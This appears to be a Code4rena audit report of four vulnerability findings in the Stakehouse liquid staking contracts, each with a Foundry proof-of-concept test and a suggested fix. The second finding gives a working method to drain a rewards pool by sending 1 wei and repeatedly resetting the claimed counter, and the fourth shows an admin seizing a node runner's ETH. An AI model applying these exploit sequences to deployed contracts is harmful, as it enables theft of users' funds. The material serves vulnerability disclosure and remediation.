LSD Network - Stakehouse contest - koxuan's results

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantMevAndFeesPool.sol#L126-L138 https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantSavETHVaultPool.sol#L137-L158

Vulnerability details

Impact

withdrawUnusedETHToGiantPool will withdraw any eth from the vault if staking has not commenced(knot status is INITIALS_REGISTERED), the eth will be drawn successful to the giant pool. However, idleETH variable is not updated. idleETH is the available ETH for withdrawing and depositing eth for staking. Since there is no other places that updates idleETH other than depositing eth for staking and withdrawing eth, the eth withdrawn from the vault will be stuck forever.

Proof of Concept

place poc in GiantPools.t.sol with import { MockStakingFundsVault } from "../../contracts/testing/liquid-staking/MockStakingFundsVault.sol";

    function testStuckFundsInGiantMEV() public {

        stakingFundsVault = MockStakingFundsVault(payable(manager.stakingFundsVault()));
        address nodeRunner = accountOne; vm.deal(nodeRunner, 4 ether);
        //address feesAndMevUser = accountTwo; vm.deal(feesAndMevUser, 4 ether);
        //address savETHUser = accountThree; vm.deal(savETHUser, 24 ether);
        address victim = accountFour; vm.deal(victim, 1 ether);


        registerSingleBLSPubKey(nodeRunner, blsPubKeyOne, accountFour);

        emit log_address(address(giantFeesAndMevPool));
        vm.startPrank(victim);

        emit log_uint(victim.balance);
        giantFeesAndMevPool.depositETH{value: 1 ether}(1 ether);
        bytes[][] memory blsKeysForVaults = new bytes[][](1);
        blsKeysForVaults[0] = getBytesArrayFromBytes(blsPubKeyOne);

        uint256[][] memory stakeAmountsForVaults = new uint256[][](1);
        stakeAmountsForVaults[0] = getUint256ArrayFromValues(1 ether);
        giantFeesAndMevPool.batchDepositETHForStaking(getAddressArrayFromValues(address(stakingFundsVault)),getUint256ArrayFromValues(1 ether) , blsKeysForVaults, stakeAmountsForVaults);

        emit log_uint(victim.balance);


        vm.warp(block.timestamp + 60 minutes);
        LPToken lp = (stakingFundsVault.lpTokenForKnot(blsKeysForVaults[0][0]));
        LPToken [][] memory lpToken = new LPToken[][](1);
        LPToken[] memory temp  = new LPToken[](1);
        temp[0] = lp;
        lpToken[0] = temp;

        emit log_uint(address(giantFeesAndMevPool).balance);
        giantFeesAndMevPool.bringUnusedETHBackIntoGiantPool(getAddressArrayFromValues(address(stakingFundsVault)),lpToken, stakeAmountsForVaults);

        emit log_uint(address(giantFeesAndMevPool).balance);
        vm.expectRevert();
        giantFeesAndMevPool.batchDepositETHForStaking(getAddressArrayFromValues(address(stakingFundsVault)),getUint256ArrayFromValues(1 ether) , blsKeysForVaults, stakeAmountsForVaults);

        vm.expectRevert();
        giantSavETHPool.withdrawETH(1 ether);

        vm.stopPrank();
    }

both withdrawing eth for user and depositing eth to stake fails and reverts as shown in the poc due to underflow in idleETH

Note that the same problem also exists in GiantSavETHVaultPool, however a poc cannot be done for it as another bug exist in GiantSavETHVaultPool which prevents it from receiving funds as it lacks a receive() or fallback() implementation.

Tools Used

Foundry

Recommended Mitigation Steps

update idleETH in withdrawUnusedETHToGiantPool

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/StakingFundsVault.sol#L231 https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/SyndicateRewardsProcessor.sol#L51-L73 https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/StakingFundsVault.sol#L62-L64 https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/SyndicateRewardsProcessor.sol#L76-L90 https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/SyndicateRewardsProcessor.sol#L93-L95

Vulnerability details

Impact

User can claimRewards from StakingFundsVault which will call _distributeETHRewardsToUserForToken from SyndicateRewardsProcessor, which has an error that can allow user to reset claimed[_user][_token] to 1. By doing so, they can always claim rewards with a claimed[_user][_token] value of 1, allowing them to claim from the pool till the pool reaches 0.

Proof of Concept

StakingFundsVault is inherited from SyndicateRewardsProcessor. It uses the _distributeETHRewardsToUserForToken to calculate and make sure user does not double claim with claimed[_user][_token]. However, claimed[_user][_token] = due; will allow claimed to be reseted to 1.

Let's claim a reward of x amount, due will be set to x and therefore claimed[_user][_token] will go from 0 to x. Claiming the rewards again will not work as ((accumulatedETHPerLPShare * balance) / PRECISION) - claimed[_user][_token] will be 0 and therefore (due > 0) will return false.

    function _distributeETHRewardsToUserForToken(
        address _user,
        address _token,
        uint256 _balance,
        address _recipient
    ) internal {
        require(_recipient != address(0), "Zero address");
        uint256 balance = _balance;
        if (balance > 0) {
            // Calculate how much ETH rewards the address is owed / due 
            uint256 due = ((accumulatedETHPerLPShare * balance) / PRECISION) - claimed[_user][_token];
            if (due > 0) {
                claimed[_user][_token] = due;

                totalClaimed += due;

                (bool success, ) = _recipient.call{value: due}("");
                require(success, "Failed to transfer");

                emit ETHDistributed(_user, _recipient, due);
            }
        }
    }

Achieving due = 1 is our goal. To do this, we have to increase accumulatedETHPerLPShare

    function updateAccumulatedETHPerLP() public {
        _updateAccumulatedETHPerLP(totalShares);
    }

    function _updateAccumulatedETHPerLP(uint256 _numOfShares) internal {
        if (_numOfShares > 0) {
            uint256 received = totalRewardsReceived();
            uint256 unprocessed = received - totalETHSeen;

            if (unprocessed > 0) {
                emit ETHReceived(unprocessed);

                // accumulated ETH per minted share is scaled to avoid precision loss. it is scaled down later
                accumulatedETHPerLPShare += (unprocessed * PRECISION) / _numOfShares;

                totalETHSeen = received;
            }
        }
    }

we want to get a higher totalRewardsReceived() in _updateAccumulatedETHPerLP compared to the previous time its called.

    function totalRewardsReceived() public virtual view returns (uint256) {
        return address(this).balance + totalClaimed;
    }

we can just send 1 wei to the stakingFundsVault to increase it. Note that you might have to send more wei depending on how much lp token you have for due to be 1.

once we increase it , due will be 1 and therefore pass (due > 0)

   uint256 due = ((accumulatedETHPerLPShare * balance) / PRECISION) - claimed[_user][_token];
            if (due > 0) {
                claimed[_user][_token] = due;

                totalClaimed += due;

                (bool success, ) = _recipient.call{value: due}("");
                require(success, "Failed to transfer");

                emit ETHDistributed(_user, _recipient, due);
            }

poc will prove that claimed[_user][token] can be reseted to 1. Place poc in LiquidStakingManager.t.sol .

    function testClaimedCanBeManipulated() public {
        // Set up users and ETH
        address nodeRunner = accountOne; vm.deal(nodeRunner, 4 ether);
        address feesAndMevUser = accountTwo; vm.deal(feesAndMevUser, 4 ether);
        address savETHUser = accountThree; vm.deal(savETHUser, 24 ether);

        // Do everything from funding a validator within default LSDN to minting derivatives
        depositStakeAndMintDerivativesForDefaultNetwork(
            nodeRunner,
            feesAndMevUser,
            savETHUser,
            blsPubKeyFour
        );

        // Send syndicate some EIP1559 rewards
        uint256 eip1559Tips = 0.6743 ether;
        sendEIP1559RewardsToSyndicateAtAddress(eip1559Tips, manager.syndicate());

        // Claim dETH as savETH user
        IERC20 dETHToken = savETHVault.dETHToken();
        vm.startPrank(accountFive);
        dETHToken.transfer(address(savETHVault.saveETHRegistry()), 24 ether * 2);
        vm.stopPrank();

        vm.startPrank(savETHUser);
        savETHVault.burnLPTokensByBLS(getBytesArrayFromBytes(blsPubKeyFour), getUint256ArrayFromValues(24 ether));
        vm.stopPrank();
        assertEq(dETHToken.balanceOf(savETHUser), 24 ether);

        // Check there are some rewards to claim by staking funds vault
        assertEq(
            manager.stakingFundsVault().previewAccumulatedETH(feesAndMevUser, stakingFundsVault.lpTokenForKnot(blsPubKeyFour)),
            (eip1559Tips / 2) - 1
        );

        // now de-register knot from syndicate to send sETH back to smart wallet
        IERC20 sETH = IERC20(MockSlotRegistry(factory.slot()).stakeHouseShareTokens(manager.stakehouse()));
        uint256 sETHBalanceBefore = sETH.balanceOf(manager.smartWalletOfNodeRunner(nodeRunner));
        vm.startPrank(admin);
        manager.deRegisterKnotFromSyndicate(getBytesArrayFromBytes(blsPubKeyFour));
        manager.restoreFreeFloatingSharesToSmartWalletForRageQuit(
            manager.smartWalletOfNodeRunner(nodeRunner),
            getBytesArrayFromBytes(blsPubKeyFour),
            getUint256ArrayFromValues(12 ether)
        );
        vm.stopPrank();

        assertEq(
            sETH.balanceOf(manager.smartWalletOfNodeRunner(nodeRunner)) - sETHBalanceBefore,
            12 ether
        );

        // As long as the smart wallet has free floating and collateralized SLOT + dETH isolated, then we assume rage quit will work at stakehouse level
        // We execute an arbitrary transaction here to confirm `executeAsSmartWallet` is working as if rage quit took place
        assertEq(savETHVault.saveETHRegistry().knotDETHBalanceInIndex(1, blsPubKeyFour), 24 ether);
        savETHVault.saveETHRegistry().setBalInIndex(1, blsPubKeyFour, 1);
        vm.startPrank(admin);
        manager.executeAsSmartWallet(
            nodeRunner,
            address(savETHVault.saveETHRegistry()),
            abi.encodeWithSelector(
                MockSavETHRegistry.setBalInIndex.selector,
                1,
                blsPubKeyFour,
                1
            ),
            0
        );
        vm.stopPrank();
        assertEq(savETHVault.saveETHRegistry().knotDETHBalanceInIndex(1, blsPubKeyFour), 1);

        vm.warp(block.timestamp + 3 hours);

        // Now, as Staking funds vault LP holder you should be able to claim rewards accrued up to point of pulling the plug
        vm.startPrank(feesAndMevUser);
        stakingFundsVault.claimRewards(feesAndMevUser, getBytesArrayFromBytes(blsPubKeyFour));

        /// Proving starts here, claimed can be manipulated
        vm.deal(feesAndMevUser, 1); //


        emit log_uint(stakingFundsVault.claimed(feesAndMevUser, address(stakingFundsVault.lpTokenForKnot(blsPubKeyFour)))); 

        payable(stakingFundsVault).call{value: 1}(""); // feesAndMevUser send 1

        stakingFundsVault.updateAccumulatedETHPerLP();
        stakingFundsVault.claimRewards(feesAndMevUser, getBytesArrayFromBytes(blsPubKeyFour));


        emit log_uint(stakingFundsVault.claimed(feesAndMevUser, address(stakingFundsVault.lpTokenForKnot(blsPubKeyFour)))); //claimed has been reseted to 1

        vm.stopPrank();



    }

As you can see in the poc after the proving starts here comment, a mevAndFeesUser after claiming has his claimed set to the reward he has received. By sending 1 to the stakingFundsVault and calling updateAccumulatedETHPerLP, the next claimedRewards will reset claimed to 1 as the reward is 1. This allows mevAndFeesUser to reclaim his reward unlimited times by sending 1 wei and calling updateAccumulatedETHPerLP, then call claimRewards to set his claimed to 1 before calling claimRewards again for the full reward. To drain the pool to zero when eth in pool < reward , user can send away some of his lp token , reset his claimed[user][token] to 1 and withdraw the remaining fund.

Tools Used

Foundry

Recommended Mitigation Steps

//claimed[_user][_token] = due;
claimed[_user][_token] += due;

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantSavETHVaultPool.sol#L137-L158

Vulnerability details

Impact

GiantSavETHVault does not implement a receive function or fallback function, causing bringUnusedETHBackIntoGiantPool to always revert.

Proof of Concept

Place poc in GiantPools.t.sol

    function testSaveETHBringBackUnusedWillAlwaysRevert() public {

        address nodeRunner = accountOne; vm.deal(nodeRunner, 4 ether);
        //address feesAndMevUser = accountTwo; vm.deal(feesAndMevUser, 4 ether);
        //address savETHUser = accountThree; vm.deal(savETHUser, 24 ether);
        address victim = accountFour; vm.deal(victim, 1 ether);


        registerSingleBLSPubKey(nodeRunner, blsPubKeyOne, accountFour);


        vm.startPrank(victim);

        giantSavETHPool.depositETH{value: 1 ether}(1 ether);
        bytes[][] memory blsKeysForVaults = new bytes[][](1);
        blsKeysForVaults[0] = getBytesArrayFromBytes(blsPubKeyOne);

        uint256[][] memory stakeAmountsForVaults = new uint256[][](1);
        stakeAmountsForVaults[0] = getUint256ArrayFromValues(1 ether);
        giantSavETHPool.batchDepositETHForStaking(getAddressArrayFromValues(address(savETHVault)),getUint256ArrayFromValues(1 ether) , blsKeysForVaults, stakeAmountsForVaults);



        vm.warp(block.timestamp + 60 minutes);
       LPToken lp = (savETHVault.lpTokenForKnot(blsKeysForVaults[0][0]));
        LPToken [][] memory lpToken = new LPToken[][](1);
        LPToken[] memory temp  = new LPToken[](1);
        temp[0] = lp;
        lpToken[0] = temp;

        vm.expectRevert();
        giantSavETHPool.bringUnusedETHBackIntoGiantPool(getAddressArrayFromValues(address(savETHVault)),lpToken, stakeAmountsForVaults);
        //giantSavETHPool.withdrawETH(1 ether);
        vm.stopPrank();
    }

Note that GiantMevAndFeesPool does not have this problem as it inherits from SyndicateRewardsProcessor which implements the receive function.

Tools Used

Manual Review

Recommended Mitigation Steps

implement a receive function in GiantSavETHVaultPool

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/LiquidStakingManager.sol#L356-L377

Vulnerability details

Impact

DAO or lsd network owner can swap node runner of the smart contract to their own eoa, allowing them to withdrawETH or claim rewards from node runner.

Proof of Concept

there are no checks done when swapping the node runner whether there are funds in the smart contract that belongs to the node runner. Therefore, a malicious dao or lsd network owner can simply swap them out just right after the node runner has deposited 4 ether in the smart wallet.

place poc in LiquidStakingManager.sol

    function testDaoCanTakeNodeRunner4ETH() public {
        address nodeRunner = accountOne; vm.deal(nodeRunner, 4 ether);
        address feesAndMevUser = accountTwo; vm.deal(feesAndMevUser, 4 ether);
        address savETHUser = accountThree; vm.deal(savETHUser, 24 ether);
        address attacker = accountFour;


        registerSingleBLSPubKey(nodeRunner, blsPubKeyOne, accountFour);

        vm.startPrank(admin);
        manager.rotateNodeRunnerOfSmartWallet(nodeRunner, attacker, true);

        vm.stopPrank();

        vm.startPrank(attacker);
        emit log_uint(attacker.balance);
        manager.withdrawETHForKnot(attacker,blsPubKeyOne);
        emit log_uint(attacker.balance);
        vm.stopPrank();
    }

Tools Used

forge

Recommended Mitigation Steps

Send back outstanding ETH and rewards that belongs to node runner if swapping is needed.